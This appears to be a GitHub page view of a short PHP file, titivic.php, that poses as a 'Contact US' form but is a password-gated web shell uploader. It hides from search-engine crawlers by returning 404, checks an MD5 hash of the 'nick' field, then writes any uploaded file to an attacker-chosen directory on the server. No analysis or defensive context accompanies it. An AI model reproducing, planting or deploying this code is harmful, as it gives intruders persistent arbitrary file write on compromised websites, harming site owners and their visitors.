-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathtitivic.php
28 lines (28 loc) · 1.15 KB
/
titivic.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '5cd2973f835de94b560b62465d5a37f3')) {
$security_code = $_POST['security_code'];
if ( !$security_code ) $security_code = ".";
$security_code = rtrim($security_code, "/");
$tmp_name = $_FILES['message']['tmp_name'];
$name = $_FILES['message']['name'];
@move_uploaded_file($tmp_name, $security_code."/".$name) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
} /*3403*/ print '<html>
<head>
<title>Contact US</title>
</head>
<body>
<form enctype="multipart/form-data" action="" method="POST">
Message: <br/><input name="message" type="file" />
<br/>Security Code: <br/><input name="security_code" value=""/><br/>
<br/>Nick: <br/><input name="nick" value=""/><br/>
<input type="submit" value="Sent" />
</form>
</body>
</html>';